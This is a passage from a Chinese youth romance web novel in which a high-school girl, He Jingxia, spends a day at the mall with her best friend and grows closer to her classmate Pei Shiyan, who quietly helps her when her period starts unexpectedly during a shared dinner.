糟糕,陆妍应该都等急了,跟往常一样,贺京夏伸手想拿出手机给陆妍先发个消息,微顿一刻,脑子又不好了,把手机摔坏的事情给忘了。
她转过身看向身后的裴时晏,正惆怅怎么开口,一个硬物被塞人到手上,低头一看是他的手机。
贺京夏接过手机,试探性问了一句:“你怎么知道我要手机?”
他轻笑了声,嗓音低低的:“你脸上都写着。”
贺京夏:“……”
她尴尬一笑,居然被他看出来了。
贺京夏低头点开手机屏幕,上面需要人脸解锁,习惯性她往上划了一下,弹出要输入密码的窗口,忘记这不是自己的手机
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。
不得已目光再次落在裴时晏身上。
裴时晏垂眸,与她对视上,缓缓道:“030211。”
照着他说的,贺京夏一一输入,很快解开屏幕。
手机桌面很干净,她指尖轻轻点开微信的app,费力找了好半天才找到班级群,被裴时晏折叠屏蔽起来了。
“介意我用你微信加个人吗?”贺京夏征求道。
“你随意。”他风轻云淡地回道。
得到他的准许,贺京夏通过群聊加了陆妍,害怕陆妍不同意,她在备注的位置敲下了自己的名字。
才发送申请,没两分钟那边就同意了,点开聊天框看到上面对方正在输入,贺京夏按下语音按键。
“妍妍,是我,我出了一点意外,手机坏了,你现在在哪里,我过去找你。”
贺京夏长话短说只捡着重点跟陆妍说,讲完就发送了过去。
同一时间,陆妍的消息发来。
【妍酱追星日记:你在哪儿?我过去找你。】
【Y:我在电玩城这边。】
【妍酱追星日记:站那里等我,我现在过去。】
跟陆妍确定好后,把手机还给了裴时晏。
他开口道:“说好了?”
贺京夏点了点头,朝他笑了下,眉眼弯弯,“说好了,她现在过来找我,谢谢你裴时晏。”
“好。”裴时晏收起手机,站直了身体。
商场的顶层是露天的,自然的日光线照射落下,阳光恣意地撒在他的侧颊,勾勒出他立体的轮廓。
不知道是不是她的错觉,刚刚他的眼神里带着一丝落寞。
她看的太认真了。
裴时晏抬头往她这边看,问她:“你在看什么?”
“在看你啊。”贺京夏说话直接坦白,一双眼睛直愣愣地看着他,丝毫不带掩饰。
裴时晏不解又困惑:“有什么好看?”
贺京夏弯唇,发自内心地夸奖道:“多看好看的人和物有利于身体健康。”
赏心悦目的事物都是美好的,自然是能多看一眼是一眼。
享受当下才是王道。
没料想到她会这么坦诚,心下想是有什么溢出来,他不自觉喉结滚动了一下。
还想说什么,一道女声打断了他。
“夏夏。”
两人视线一同朝着那道声音的位置看去。
是陆妍找来了。
贺京夏朝着她招了招手,陆妍迅速走上前。
目光关切打量了一遍贺京夏,问道:“没事吧?”
“没事。”贺京夏怕她不放心,还绕着她转了一圈。
确认了一遍,陆妍悬着的那颗心才放下来。
“你害我担心死了,我一直给你打电话也不接,消息也不回,你要是再不找我,我就真的要报警了。”着实是吓了一跳,陆妍真怕这种莫名其妙的失踪。
贺京夏笑着搂过她的肩膀,安抚道:“我这不是没事,别担心别担心。”
“到底怎么回事啊?”陆妍迫切地想知道事情的原委。
无奈,贺京夏又把事情的经过复述了一遍,后面裴时晏那段她直接跳过。
听得陆妍心惊胆战,一遍又一遍给她强调,下次不要那么贸然去别人硬刚。
贺京夏一一应着。
要等的人来了,裴时晏也没有再待下去的必要。
“我先走了,周跃找我。”
“好,那你路上小心。”贺京夏叮嘱道。
等人走远,陆妍手肘撞了撞贺京夏的胳膊,提醒道:“回神了。”
“你弄疼我了。”贺京夏眼神闪躲,假意伸手揉了揉胳膊。
“少来这套。”陆妍一眼就看穿她这拙劣的演技。
这么多年知根知底,毫不夸张地说,贺京夏撅个屁股陆妍都能知道她想拉屎还是放屁。
就现在贺京夏这点小动作,怎么可能逃的过她的眼睛。
眼看瞒不过去,贺京夏举手表示投降:“说,我说。”
陆妍双手环抱,傲娇地说道:“给你个机会老实交代。”
12. 难捱
下午三点的日光已过最毒的时刻。
甜品店外的槐树叶随着风轻轻吹荡在枝头,偶有槐花的淡淡清香味钻入鼻尖。
最终两人也没有心思去看电影,找了一家还不错的甜品店,点了两份小蛋糕跟两杯喝的。
“你快点给我说一下到底是怎么回事?”陆妍靠在贺京夏的身上,指尖戳了戳她的肩膀,迫切得想知道整个事情的经过。
贺京夏把玩着陆妍的手指,若有所思好半晌,才开口:“那两个人一直在追我,后来把我堵到了安全通道里,是裴时晏跟周跃出他们出现在楼梯间,帮我逃过一劫,就是这么点事情,也没有什么特别的,真的就是意外。”
“怎么这意外就让裴时晏遇上了?”陆妍笑盈盈地问她。
“他跟周跃正好今天在商场吃饭。”自觉省略掉坐车那一段,这可不能被陆妍知道。
“哦,这样啊......”陆妍拉长了语调,偏头意味深长地盯着她看了一眼,伸手指向被放在一旁的趴趴狗,懒洋洋地又问道,“那这个也是意外吗?”
话题又转移到趴趴狗身上,谈到这里贺京夏马上便来劲了,拿起玩偶对着陆妍又是一顿炫耀:“你真想多了,这个是我自己夹的。”
陆妍明显是不信的,就贺京夏夹娃娃的水平几斤几两她是知道的。
“不是我想质疑你,是你的水平我是心知肚明的,上次咱俩在电玩城玩了一天,你屁都没有夹到一个,人菜又爱玩,我很难不怀疑这个是裴时晏给你夹的。”陆妍毫不留情地吐槽。
好一个人菜又爱玩,这话说的是真一点面子都不留。
不过那都已经成为过去式,现在她贺京夏已经逆袭成功了。
也是有拥有趴趴狗的人了。
“错,还真的不是裴时晏给我夹的,是我自己夹的。”打着输了什么也不能输气势的阵仗,贺京夏的腰杆直挺挺,底气超足地反驳,而后又顿了顿,她指尖朝陆妍比划了一下,“他不过起了一个辅助的作用,用处不大。”
这话实属有点违心,还好裴时晏听不见。
“没有一个合格的辅助,就算你是再好的打野,也没有办法一带四。”陆妍精准点评。
贺京夏作出一副受伤的模样,假意捂着胸口,靠在陆妍的身上,不高兴地撇嘴抱怨:“原来在你心里我竟然是这么差劲的存在。”
场面莫名好笑,陆妍俯身靠近她,双手捧起她的脸,轻声吐露:“宝宝一定不是你的问题,肯定是我的错。”
活脱脱的渣男发言,贺京夏哼笑一声,气鼓鼓伸手打掉脸颊那双手。
“你少来这一套。”
“哈哈哈哈,学的你,宝宝,你看我学的像嘛?”陆妍还贱兮兮地眨巴眨巴眼睛。
贺京夏直接送给她一个大白眼,不理会她。
陆妍立即收起不正经的样子,托着腮,认真分析道:“不过我真的觉得裴时晏看你的眼神不对。”
贺京夏怔愣一刻,语气中带着不解,“你是怎么看出的?”
“据我所知,裴时晏一向就是怕麻烦的人,他最不喜欢的就是多管闲事,平时他就一副生人勿近,而且怎么会那么巧在你危险的时候他赶到了楼梯口,你不觉得太巧了吗?”陆妍将心底的疑惑抛出来。
想到了什么,陆妍急忙拉住贺京夏的手,又道:“我突然想起来,你昨天晚上问我倒垃圾的时候有没有人回班里,后来我仔细又想一下,我终于想起来了,那个人好像是裴时晏,那个时候你们是不是发生了什么?”
这件事虽然贺京夏已经知道了,可再从陆妍嘴里听到,心境又不一样。
裴时晏到底是为了什么,一直没问他。
“你是不是多想了,裴时晏怎么可能会喜欢我?”贺京夏不可置信摇摇头。
单单凭借着这些片面,就断定裴时晏喜欢她,这会不会太草率了?
陆妍歪着头,一脸好奇看着她,再次提问:“那你呢?”
“什么?”
“你有没有对他心动?”
心动?说不清楚是什么感觉。
脑子又回想起不久前那一幕,看到他出现的那瞬间,她的心跳漏了半拍。
如果这个就是所谓的心动的话,那她对裴时晏心动了。
看贺京夏脸上迟疑的表情,陆妍就知道她肯定是心动了。
“你惨咯,你先坠入爱河了。”陆妍语气里带着幸灾乐祸,一脸八卦地凑到贺京夏的跟前,“心动什么感觉?”
总听人说青春期时的悸动是一场奇妙的体验。
陆妍没有体验过这种感觉,所以她很好奇。
“真的会像书里说的那么夸张,见到那一瞬间会心跳加速,你们面对面的时候内心会狂乱如麻,表面假装镇定,眼神不敢对视对方,一想到就会占有他?”越说陆妍越激动。
贺京夏直摇头否定:“没有那么夸张,就是很模糊朦胧的好感,在他视线看过来的时候,会心跳漏半拍,就像是平静的海平面荡起一片涟漪。”
“真就这么简单吗?”陆妍闻言后兴致缺缺。
贺京夏不以为然地看着她,耸肩摊了摊手:“不然你以为呢?”
“看来要少看点小说,都是骗人的。”陆妍趴在椅背上,提不起精神。
“早让你把那些霸道总裁爱上我这种没营养的小说丢了,你当时就是不听我的,现在好了吧,人都看傻了。”贺京夏说完没好气地用手指戳了戳陆妍的脑袋。
“别说了别说了,脑袋马上就要坏了。”陆妍支起身子,打量着贺京夏,“不过我发现你又好看了,我可爱的夏夏宝贝。”
贺京夏是属于典型的江南特有的鹅蛋脸,容色姣好,皮肤非常细腻,眉如柳叶下面是一双楚楚可怜的大眼睛,翘挺的鼻梁下一张粉嫩的娇唇,一笑起来便是铺面而来的甜美灵动。
不笑的时候,整个人看起来又是清冷温柔的气质,让人心生好感。
贺京夏是个不禁夸的,别人每次夸她,就容易脸红,“别再硬夸了我的朋友。”
陆妍伸手捏了捏贺京夏的脸蛋,夸奖的话不要命地输出:“是真的好看,是你自己没有认清自己的实力。”
贺京夏拂掉她的手,“是你带有好朋友滤镜,去掉这个滤镜,我什么也不是。”
“根本不是,是我慧眼识珠,而且我感觉裴时晏真的喜欢你。”话题又绕回了裴时晏的身上。
“你为什么一直觉得裴时晏喜欢我?”贺京夏始终不解,为什么陆妍一直坚信裴时晏喜欢她。
裴时晏从来也没有表达过,陆妍是怎么看出来的?
“感觉啊。”陆妍垂眸,笑了笑解释道,“他对你不一样。”
“那陆大师,你感觉感觉我什么时候数学能考及格。”
一想到数学,贺京夏的头就大。
陆妍假模假样掐着指尖,目光又打量着贺京夏,装深沉:“本大师给你算了一卦,快了,只要你好好抓牢你同桌,马上你就及格。”
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>贺京夏抽了抽嘴角,“不要再提他了。”
“好好好,不说了。”陆妍做了个闭嘴的手势。
“明天下午你有时间吗?”
想了想,陆妍回她,“有时间啊,干嘛?”
“明天陪我去买手机吧,今天也没带钱。”
“行啊!”陆妍很痛快就答应了。
现在贺京夏全身上下现金加起来也就十来块钱,只够坐趟车回家。
没有手机太不方便了,除了查学习资料,老师布置的作业还得打卡。
不过还有更发愁的,买手机得找宋丽拿钱,少不了要挨一顿骂。
想到晚上还有一场血雨腥风,贺京夏叹了口气,拿起桌子上的饮料猛吸了一口。
“你又怎么了?”
“晚上得找我妈要钱买手机,没想好怎么说。”
“如实说。”陆妍胳膊肘碰碰贺京夏,“你这英勇事迹还害怕什么?”
贺京夏白了她一眼,“别埋汰我了,谢谢你。”
“真不是我说你,你胆儿忒大了点,那是两个成年男子,不是两个小孩,你也敢跟人家硬碰硬。”想起贺京夏跟她说的,陆妍就会后背冒冷汗。
也不知道当时这小妞是怎么做到如此大胆的。
“我当时压根就顾及不了那么多,谁遇到这事谁不恶心。”
冲动也冲动过了,后悔也没有用。
又在甜品店待了一会儿,眼看也到了晚饭时间,贺京夏跟陆妍准备去新开的美食广场解决晚餐。
美食广场是的上一周刚刚建立好的,在市中心最大的商业街,据说是京都来的房地产公司为了在槐城建立新楼盘特地弄的。
这波热闹贺京夏不打算错过。
美食广场的小吃摊很多,美食种类聚集在一起,让人看的眼花缭乱。
贺京夏跟着陆妍从头逛到中间,两个人吃了不少东西,贺京夏肚子已经有七八分饱。
陆妍乐滋不倦,见到个什么好吃的都要给她买,生怕她吃不饱。
两个人手上都拿着不少东西,逛到一半陆妍说要上厕所,公共厕所离他们有一段距离,两个人在附近找到一家烧烤店,陆妍先去厕所,嘱咐贺京夏带着东西先找个位置等她。
店铺生意火爆,人超级多,最后只剩下一个靠窗的位置,贺京夏抱着东西坐下。
肚子差不多饱了,翻看了会儿菜单,也没有特别想吃的,便没有再看。
贺京夏百般无聊地把视线放在四周,门口这时传来一阵说话声吸引了她的视线。
从门外走进来三位男生。
“等会儿吃完饭是去瑾白家里看球赛还是我网吧打会儿游戏?”
“还是看球赛吧,今晚这场精彩,晚点喊上阿礼一起。”
“晏哥一起去吗?”
“晚点再说,等一下要先回去给姥姥熬药。”
不是裴时晏那帮人,又能是谁。
还真的挺巧的,这都能遇上。
“诶,这里坐满了。”
“看了评论这的味道不错,没想到没位了,看来今天是没口福了。”
“那换地吧。”
贺京夏想出声喊住他们,又不知道说什么,索性放弃了。
谁知道这时周跃停下了脚步,不死心又扫了一眼屋里。
周跃一见到贺京夏,眼睛都亮了,“贺同学!”
要怎么去形容才贴切呢?
那眼神就像大灰狼遇上了小绵羊。
13. 难捱
周遭原本都是各自在干着各自的事情,而后在这一声“贺同学”中大家停滞了一刻,四周打量的目光多了几道,齐刷刷都朝着贺京夏扫来。
反应过来后,顿时贺京夏羞红了脸,不自觉将头压低。
她一向不太习惯这样引人注目。
要是她会打洞,一定要打个大洞,直接钻进去藏起来。
“贺......”周跃再度开口朝着她的位置喊,可惜还没有喊出“同学”两个字,就被裴时晏用手肘撞击直接咽回肚子里去了。
周跃的表情忧郁望向裴时晏,始作俑者脸上的表情淡淡的,仿佛刚刚给一肘子的人不是他一般。
“晏哥你捣我干嘛。”
站在一旁的陆瑾白大致也算是看清楚现在事态的发展,一把搂过周跃的肩膀,小声在他耳边低语:“你没有看到人家小姑娘被你搞的都尴尬了,你别坏你晏哥好事。”
周跃一听,扭头朝着贺京夏那边看过去,果不其然,还真被陆瑾白说中了。
糟糕,这一冲动还好心办坏事了。
心惊胆战把视线拉回,浅浅打量了一下裴时晏的脸色,果不其然是黑脸了,周跃心都止不住颤了颤。
“陆瑾白我好像闯祸了。”周跃眼神无光,扭头想陆瑾白求救,“等一下晏哥不会暗杀我吧,你可要救救我!”
“不会。”陆瑾白笑着摇头,然后轻笑一声,“他只会明杀你。”
然后丢给他一个好自为之的眼神。
周跃反还了他一个“你有病”的眼神,两个人无声用眼神交流了一番。
这家伙还不如不说话,一点用也没有。
三十七度的嘴是怎么说出这么没有温度的话。
过了好一阵,没有再听到议论声,贺京夏才抬起头,偷瞄了一下四周,眼神扫向门口,那人似乎也察觉到了视线,也在看她。
彼此眼里都有说不清楚的感觉。
他身上的衣服不是中午那身,换了一身黑色卫衣,衣服上印了一串简单的logo,外面套了件牛仔外套,下身是一条简约的黑色裤子,显得自然又随性,挺符合行走的衣架子这个称呼。
他好像对黑色格外执着。
很快贺京夏就若无其事移开了眼睛。
内心斗争了好一会儿,下定决后,她起身快步朝着裴时晏那边走去。
贺京夏走近后,开口喊了他一声:“裴时晏。”
他垂眸对上她那双水灵灵的眼睛,喉结滚动了一下,低声:“嗯。”
“要是你们不介意,我们一块拼桌。”她不自然移开视线,每每对上他的目光,总能被他那双深如潭水的瞳孔吸入。
他愣了一秒。
他忽地笑了,随意回她:“好。”
没料想到他居然答应的这么轻松,原以为要劝说一阵的。
贺京夏点了点头,抿唇一笑。
先一步转过身,走回位置上。
裴时晏只深深看了一眼前方的人一眼,很快往前走跟上她。
留下陆瑾白跟周跃面面相觑,犹豫了一下,他们也匆忙跟上。
等他们都坐下后,贺京夏将放在手边的菜单递给裴时晏,抬眼看他:“菜单你们看看要吃什么。”
裴时晏接过菜单,丢给一旁相对拘谨的两人。
“自己看吃什么。”
对吃食裴时晏向来不挑,是有什么吃什么。
前两年他跟着白澄生活,再难以下咽的饭,他都能做到面无表情吃完,甚至还能夸上一句好吃。
等他们把饭都差不多要点好,陆妍才从厕所慢慢悠悠走出来。
看到突然多出三个人,眼神无声询问贺京夏什么情况。
贺京夏拉住陆妍的手,低声给她解释:“刚好遇上了,就一起拼了个桌。”
陆妍了然点点头,倒也没再多问什么。
只是看向二人的眼神,多了一丝不言而喻。
陆妍挨着贺京夏坐下,周跃把菜单又递给她。
“想吃什么看着点,今天裴大少付钱,不用给他省钱。”
“这样啊。”陆妍笑着接过菜单,“那我可就不客气了。”
此话一出,周跃立马笑着应承:“不用给晏哥省钱。”
“可以吗?”话虽然是在问裴时晏,可陆妍的余光似有似无盯着贺京夏。
弄得贺京夏一阵莫名其妙。
桌子底下在他们看到不到的地方,贺京夏伸手拉了一把陆妍的手,示意她不要再多嘴。
裴时晏目光淡淡落在对面的人身上,慵懒又大方:“自然是想吃什么就点。”
“那我可就不客气了哦。”陆妍拿过笔,把菜单上喜欢吃的都点了一遍。
贺京夏被她这阵仗吓了一跳,这是准备把裴时晏吃穷吗?
“你吃得下吗?”
先不说能不能吃穷,浪费粮食可耻。
“放心吧,可以。”陆妍笑着丢给她一个知道分寸的眼神。
把菜单又丢还给裴时晏。
“你还要吃什么吗?”裴时晏目光放在贺京夏身上,询问道。
来的时候就吃了不少,这会儿也没有特别想吃的,贺京夏朝他摇头,“不用了。”
裴时晏点了点头,拿起菜单朝着收银台走去。
贺京夏低头抿了口杯子里的水,也不知道是不是今天冰水喝多了。
她的肚子传来轻微的疼痛感,带着一丝下坠感让她有些不适,用手按了按肚子还是疼。
“我去上个厕所。”贺京夏靠近陆妍,在她耳边低语。
“去吧去吧。”陆妍朝她摆了摆手,也没多问。
贺京夏站起身朝着厕所的方向走,路过收银台的时候,她的目光短暂的放在少年的身上一瞬。
注意力都放在前方那道身着身形高大的黑色背影上,并没有注意到拐角处迎面走来的服务员,手上还端着热汤,等贺京夏回神过来,眼看两个人就要撞上。
千钧一发之际,一只有力的手臂落在贺京夏的腰间,将她一把揽起,有幸躲过一截。
她的额头抵在他的下巴,她的个子在女生里面也算高,有168的个头,现在被他禁锢在怀里,略显娇小,形成了巨大的体型差。
吓得贺京夏惊呼一声,抬起头望向手臂的主人,带有凉意的唇擦拭过她的额头,残留下余温。
刚才裴时晏的嘴唇亲了她的额头?
他的唇瓣很软乎,触感跟果冻似的。
贺京夏的心开始砰砰乱跳,耳边好像有什么东西炸开了,时间仿佛在这一刻停止了,周遭的一切声音都被这场意外屏蔽掉了。
两人靠的很近,只剩下两道有力的心跳声,贺京夏听得格外的清晰,一时间她也分不清楚是谁的。
裴时晏身上的温热的气息将她紧紧包裹住,从侧面看,贺京夏整个人是被他提起来的。
少女的腰很细,只有他一个手掌那么大,好像他再用力一点就能把它掐断。
像是察觉出她的不对劲儿,等她站好后,裴时晏收回了搭在她腰间的手。
“你没事吧?”裴时晏垂下眼眸,温声问她。
头顶的关切声拉回了贺京夏飘远的思绪,她冲他摇头,“没事,就是肚子有点疼,我先去上个厕所。”
也不等裴时晏有所回应,捂着肚子贺京夏匆匆忙忙跑了。
裴时晏意识到什么,盯着她的背影轻笑出了声,眼神一瞥瞧见她裤子上某处有一道深深的印子,好像是血迹干了,联想到刚才她捂着肚子的样子。
脑袋稍稍宕机了一刻,很快便联想到了什么,裴时晏张了张嘴,想要喊住她,可惜没来的及,眼睁睁看见她一溜烟进了卫生间。
她脸皮那么薄的一个人,等一下面对窘境一定会很尴尬。
来时路边好像有一家便利店,距离烧烤店不算远,想到这儿裴时晏匆匆忙忙结完账,快步往朝着外面走。
***
裤子上那一抹深红的血迹,让贺京夏陷入了茫然中。
她真的是昏头了,怎么能这么粗心大意,把自己的经期时间都忘记了。
贺京夏坐在马桶上,望着天花板很是无措,这会儿出去也不是,不出去也不是。
现在也没有办法联系到陆妍,此刻贺京夏悔不当初。
肚子又隐隐有坠痛感传来,疼得贺京夏皱紧眉头。
正考虑要不然出去算了,丢人就丢人吧,也不能一直闷在厕所里。
就在这时门外传来一阵脚步声,过了一会儿,有人在门外喊她。
“贺京夏在吗?”
是一道清脆的女声,听着年纪不大,只是这声音很陌生。
虽然很意外。
在听到喊声的时候,贺京夏还是起身连忙应声:“我在这里。”
那人似乎在确定她的位置,听到回应后迟疑了两秒,才敲响贺京夏在的隔间的门,“是这里吗?”
“对的。”
“那东西我从隔间上面给你,你伸手拿一下。”
“好的。”贺京夏说完之后,就看见厕所最上面的隔间有一个一只手递进来一个黑色的袋子,形状方方正正的,她连忙伸手去接,对着门外的人道谢,“谢谢你啊。”
“没事,就顺手的事情。”那个女生说话的间隙,打开了隔壁的门。
贺京夏打开那个袋子,看到里面是两包卫生巾,还是她常用的牌子,日用跟夜用都准备了,可以看得出这个人很细心。
不像是陆妍的手法,而且如果是陆妍的话,也会自己送进
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去。
那如果不是陆妍的话,又会是谁呢?
贺京夏在脑子里面过了一遍在场的人,不会又是裴时晏吧?
为了得到确定的答案,踌躇半晌,贺京夏手指弯曲轻轻敲响了隔间门板:“小姐姐不好意思打扰你一下,我想问一下这个东西是什么人让你带进来的。”
闻言,隔壁位置响起一阵轻笑声,听声音都能听出那位小姐姐很开心。
“是一位穿黑色衣服的小哥哥,高高帅帅的,人很有气质,最主要是长的还贼好看。”小姐姐在那头顿了有两秒,她又继续说,“是你男朋友吗?”
听这描述,多半确定那就是裴时晏。
听到男朋友三个字,刹那间贺京夏只觉得耳朵发烫得厉害,脸颊两处的温度不自觉升高。
贺京夏不自然地伸手揉了揉耳垂,轻咳了声回她:“不是男朋友,我们是同学。”
“噢,”对方了然地噢了声,再次开口带着打趣的语气,“我看他对你不一般呀,不像是普通同学的关系,刚刚他让我帮忙的时候还特地叮嘱了,一定要交到你手里。”
“你确定是那个黑衣服的男孩子说的?”
这话听着不太像是能从裴时晏那个家伙嘴里说出来的。
“是啊,就是那个高个子黑衣服的男孩子,看起来冷冷淡淡的,但是他一提起你就眼神都不一样了,所以妹妹他肯定是喜欢你。”
这话让贺京夏没法接,她索性转移了话题。
“今天谢谢你了。”
指尖轻轻抚摸着黑色袋子,心头一股暖流涌入,心里有一小块地方慢慢在坍塌。
“不用谢,大家都是女孩子,更加应该互相帮助的。”小姐姐在那头笑了笑,“噢对了,你现在出去他应该还在门口,刚刚我进来的时候,他一直盯着我手里的东西,好像怕我跑了。”
贺京夏尴尬陪笑了两声,“我觉得他应该是怕我会一直窝着不出去,怕我人憋死,才会那样的,肯定不是怕你跑了。”
“害,也不是多大点事,不过有一说一哈妹妹,你这同学挺帅的,要是你喜欢的话抓紧了追,别让人跑了,看着挺招小姑娘喜欢的,要不是我不喜欢姐弟恋,我就追了,可惜我不爱老牛吃嫩草。”
“我们还小呢姐姐。”
“青春期的悸动可以有,万一直接校服走到了婚纱,也是浪漫事一桩。”
从年少深情走到白头偕老是美事一桩,可这种感情太少太难能可贵,屈指可数。
对于贺京夏这种只看重答案的人而言,她不会用自己的未来去赌一段没结果的感情。
她不愿成为赌桌的座上客。
太清醒了,所以只能接受自己看得到又摸得着的喜欢。
心动这种东西藏于心间自己知道就好,也不是非要走那个过程。
朋友也是不错的选择。
默了默,没当回事应了句,“可能吧,我先出去了,就先不打扰你了。”
“好好好,我给你说的事情好好考虑考虑,不要错过对的人。”那人很执着,临走前还在劝说贺京夏。
贺京夏一向不喜欢拂别人的面子,只好笑笑应道:“会的。”
“真喜欢就追,大不了哭一回罢了。”
这姐对于追人挺执着,想必是对年少时留有遗憾的执念。
“好的。”贺京夏提着东西,站起身跟她告别,“我先走了。”
“好,走吧,记得我的话。”
“好的。”贺京夏乖巧地应着。
大致收拾好,贺京夏就提着东西走出了厕所。
刚出厕所便一眼看到站在不远处的人,贺京夏看过去,脚步顿了顿。
还真如里面的人所说,裴时晏还在门口等着她。
少年倚靠在墙上,手里搭着一件牛仔外套,垂眸在查翻阅着手机,也不知道是看到了什么,眉眼紧锁。
“裴时晏。”贺京夏轻声喊了他一句。
听到她的声音,他在这个时候抬起头,见到她的那一眼,眉头肉眼可见舒展开了,目光上下打量了她一番。
“好了吗?”他淡淡问。
“好了。”贺京夏指尖紧紧捏住手里的袋子,对他笑了笑,“谢谢你。”
他没有说话,无声地将手里的外套递给她。
贺京夏愣了一下,眼里带着不解,没有伸手去接,“我不冷的。”
“裤子。”裴时晏收回目光,好心提醒她。
经他这么一提醒,立马反应过来,贺京夏赶紧接过外套披上。
“你直接搭在腰上就行。”裴时晏侧头看了她一眼。
贺京夏动作顿住,过了会,“会弄脏的。”
他没什么情绪觑她一眼,“都是要洗的,没有什么脏不脏的。”
14. 难捱
在他的注视下,贺京夏最后还是把外套脱下来直接系在腰间,完全将那团血迹遮掩住。
衣服上还残留着他的气息,将她紧紧包围。
贺京夏手指攥着衣服袖口,心口某一处现在想小蚂蚁在爬行一样,挠的她痒痒。
不知道是不是她想多了,又或者是因为被陆妍跟那个小姐姐的话洗脑了。
她感觉到,似乎裴时晏真的是喜欢她。
也许是错觉吧?
她脸上的表情变幻莫测,裴时晏以为是她哪里不舒服,动作一顿,他语速缓慢:“肚子还难受?”
飘远的思绪在他的询问中被拉回正轨,贺京夏眨巴眨巴眼睛,“不是,已经没有那么难受了。”
“回去吧,饭应该已经上了,别等会儿凉了。”难得他不再是冷冷淡淡的模样。
“好。”
两个人一前一后回了座位上,原本在位置上讨论的另外三人,见到她们二人回来了,讨论声戛然而止,目光都来回打量着二人。
最明显的要数陆妍,笑咪咪看着贺京夏,自然也注意到那件挂在她腰间的外套。
另一位主人公还在,不方便陆妍盘问,她也就只能眼神示意贺京夏等着。
而周跃跟陆瑾白笑的更是意味分明,在场五个人,各自心怀鬼胎。
一顿饭下来,几人对对方也算彼此有了了解。
在场就属周跃跟陆妍性子最欢脱,两人原本在聊着最近的八卦传闻,不知道怎么又聊到了毕业这个话题上。
“话说你们都想考那里去。”周跃夹着烤盘里的鱼,没头没脑问了一句。
陆妍放下手中的筷子,手支撑着下巴,偏头想了想,“京都吧,我想考b大的传媒系,到时候可以离我偶像近一点。”
“那你呢?贺同学。”周跃把这个话题转移到贺京夏的身上。
四道视线同时都投放在她一个人的身上,贺京夏突然觉得喉咙干,想喝口水,拿过放在右手边的杯子,她刚要喝发现陆妍给她倒的这个水是凉的,现在她喝不了。
贺京夏想重新倒热水,水壶被放在对面,距离有点远。
正打算起身去拿,对面的人先她一步无声拿了个一次性杯子,倒了半杯热水,又打开桌子上的矿泉水往里面倒了半杯,用筷子搅和开后才推到贺京夏的面前。
贺京夏伸手摸了摸杯子,温度刚刚好,可以直接入口,“谢谢。”
“不用谢。”裴时晏的神情淡漠,像往常一样。
这一举动直接把另外三个人都看诧异了。
连跟裴时晏玩的最久的陆瑾白都看傻了,这是个拽上天的主儿,平日里都是陈宴礼跟自己伺候这主儿,几时见过这主儿伺候别人。
大跌眼镜,原来拽王坠入爱河后主动起来竟是这幅模样的。
也算是长见识了今天,没白来这一趟。
在场的心照不宣,也是把他的一切行为看的明明白白。
不是不会温柔,是分人的。
裴时晏对她是温柔的代名词。
贺京夏抿了口杯子的水,喉咙舒服多了,才缓缓开口接着回到刚才的话题:“我想去京都,挺想去医科大的。”
“医科大?”裴时晏挺意外的。
“对,医科大。”贺京夏眼里带着坚定。
姥爷的离世不仅仅是宋丽心理过不去的一道坎,同样也是贺京夏的。
没人能接受眼睁睁看着亲人离世无动于衷。
姥爷离开那天贺京夏想了很多,她不想再眼睁睁看着亲人离开自己,她无能为力只能在一边流眼泪。
自那天起贺京夏就立志要成为一位合格的医生。
对什么都三分钟热度的她,唯独在这件事情上坚持己见,执着了好久。
所以她把高考的目标放在了京都医科大,那地是出了名的实力与教学最好的学府。
“所以贺同学的理想是成为一名医生?”周跃看着她的表情多了几分敬畏。
都说劝人学医天打雷劈,在医学行业里,要吃的苦头太多了。
眼前的小姑娘娇娇小小,想不到身体承载的能力还挺强,居然能吃学医的苦,怎么会不让人佩服。
贺京夏微微仰头把手里的水一饮而尽,态度随意以玩笑的口吻:“希望以后不要在我的科室见到在场的各位。”
“贺医生到时候可要对我手下留情呀!”陆妍一把将她拥入怀里她,撒娇道。
酝酿了一下,贺京夏语气认真又肯定:“我是一点都不想在医院看到你们,大家都要平安才好。”
这句话是真心的。
她是真的想要身边的每一个人都无病无灾,平安喜乐。
陆妍:“那你呢周跃?”
轮到周跃自己了,反而成为最无所谓那个了,这倒是真的把他给问住了。
自小周家对周跃都挺好的,无论是在吃穿方面,从来都是不愁吃不愁喝的主儿,生活过得滋润,家里人也没对他有什么大的要求,他对未来没有多大的憧憬。
要真要他说,就是做一个快乐的二世祖。
“还真没有想过,不出意外的话,我跟晏哥都会被家里安排出国镀金吧。”
原来裴时晏是要出国?
也难怪那天他母亲会那么生气,想来也是对他寄予厚望的,是在气他的不作为吧。
想到这里贺京夏偏头余光看了他一眼,他神态自若垂着头,也不知道在想什么,手一直在翻阅着手机。
好像从厕所出来他就一直心不在焉,不知道在想什么。
而另一头陆瑾白听到周跃的发言,第一个站出来反驳他,“是你出国镀金,人家晏哥是正儿八经出去学习的,你以为谁都跟你一样。”
“是咯是咯,不像某些人咯,死缠烂打在国内陪着程厌姐,结果还被拒绝了,到底是谁呢我不说。”周跃样子超级欠,意有所指看着陆瑾白。
此话一出,给陆瑾白气的牙痒痒,作势就要去打他。
周跃像是提前预判到了,他起身往陆妍跟贺京夏身后躲。
拿捏准陆瑾白是一个绅士又有教养的人,就算再生气也不会在女生面前失了风度,所以周跃才会这么肆无忌惮,态度狂得很。
果不其然,见到此状陆瑾白没再起身,只能对周跃开启语言炮击:“周跃你这个嘴巴迟早有一天会害死你的。”
“小爷人见人爱,花见花开的,怎么都到不了那天,你放宽心吧。”
后来也是没想到,仅仅只是打闹时的一句玩笑话,也能一语成谶。
陆瑾白作出一副呕吐状,“呕,少恶心我。”
两人这番斗嘴的模样成功把贺京夏她们逗笑了。
最后还是裴时晏看不下去了,出来呵斥了一顿:“你们两个差不多行了,赶紧吃饭吧,别等会儿饭凉了。”
老大都发话了,两人也不敢再造次,老老实实吃饭。
这场景不由得让贺京夏想笑,他还真的是无论到哪里都是主导者。
众人都在吃饭,偶尔搭腔会随意聊上一句。
贺京夏没有什么胃口,她注意力时不时会放在裴时晏的身上。
大多数时候他都是在认认真真在吃饭,他鲜少会说话,吃东西的样子很优雅,细嚼慢咽不紧不慢地嘴里不会发出异样的声音,想必是跟他生活的环境有关。
他虽然人看起来混不吝,从骨子里透出来该有的涵养一点也没少。
有些东西是天生的,一眼就能看出来。
人的境遇天生不同。
想必这个小傲娇小的时候没少被人要求这要求那,现在他才会那么排斥他别人去安排他。
如果要用一种鸟类来形容他,肯定是雄鹰,生性散漫,不受约束。
这类人,不管做什么都能闯出自己的一方天地。
一想到这里,贺京夏的看向他的眼神不由得多了几分赞赏。
